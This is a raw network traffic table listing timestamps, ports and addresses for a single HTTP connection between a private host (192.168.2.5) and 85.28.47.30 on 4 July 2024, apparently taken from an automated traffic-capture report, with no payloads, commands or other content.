Jul 4, 2024 22:20:32.220002890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220618963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220638037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220688105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220783949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220794916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220803976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220820904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220830917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220839977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220849991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220849991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220849991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220860958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220871925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220884085 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220894098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220895052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220906973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220909119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220920086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220931053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220932961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220932961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220941067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220952034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.220961094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220995903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.220995903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309106112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309155941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309274912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309284925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309294939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309309959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309320927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309328079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309333086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309355021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309355021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309386969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309732914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309746027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309755087 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309767008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309791088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309817076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309833050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309845924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309855938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.309873104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309902906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309902906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.309988976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310000896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310012102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310036898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310082912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310143948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310154915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310164928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310184002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310198069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310200930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310200930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310210943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.310216904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310245037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310245037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.310990095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311033010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311043978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311045885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311098099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311182022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311250925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311263084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311295033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311340094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311496973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311508894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311521053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311532021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311554909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311568022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311642885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311655045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311676025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311687946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311693907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311700106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311712980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311718941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311718941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311727047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311738014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311749935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.311760902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311760902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.311804056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312269926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312280893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312290907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312303066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312314034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312314987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312326908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312339067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312345982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312350988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312364101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312365055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312365055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312376976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312388897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312392950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312405109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312410116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312416077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312429905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312930107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312941074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312952042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312966108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.312978029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312978029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.312999010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313162088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313174009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313184977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313224077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313224077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313327074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313337088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313348055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313359022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313369989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313384056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313384056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313400984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313416958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313606977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313617945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313627958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313646078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313657045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313659906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313668013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313679934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313683987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313690901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313697100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313704014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313718081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313730955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.313735962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313736916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.313766003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314322948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314332962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314342976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314352036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314363003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314373970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314382076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314385891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314393044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314399004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314409018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314424992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314435005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314435005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314435005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314445019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314455986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314466000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314469099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314476967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314480066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314490080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314502954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.314515114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314515114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.314563990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315263987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315275908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315284967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315296888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315306902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315323114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315327883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315335035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315345049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315346956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315361977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315372944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315380096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315380096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315382957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315397978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315402031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315408945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315419912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315422058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315429926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315439939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315443039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.315474987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.315494061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591573000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591586113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591598034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591681004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591681004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591701984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591712952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591722965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591734886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591747046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591757059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591758013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591768026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591772079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591783047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591793060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.591808081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591809034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.591840029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592005968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592017889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592030048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592062950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592094898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592144012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592154980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592163086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592173100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592185974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592195988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592196941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592209101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592211962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592220068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592230082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592231035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592242002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592252970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.592259884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592288971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.592288971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593012094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593023062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593028069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593038082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593048096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593056917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593067884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593072891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593079090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593090057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593096972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593103886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593105078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593116999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593127012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593131065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593144894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593156099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593164921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593173027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593173027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593179941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593193054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593215942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593216896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593230963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.593930960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593943119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593952894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593962908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593978882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593990088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.593998909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594002962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594002962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594011068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594012976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594022989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594033957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594039917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594046116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594057083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594068050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594079018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594079971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594079971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594089031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594095945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594100952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594125032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594214916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594816923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594827890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594837904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594849110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594858885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594870090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594877005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594877005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594881058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594893932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594904900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594914913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594918013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594918013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594926119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594938040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594938040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594949007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594949961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594959021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594969034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594979048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.594988108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.594990969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595002890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595016956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595047951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595799923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595812082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595820904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595832109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595843077 CEST	80	49704	85.28.47.30	192.168.2.5
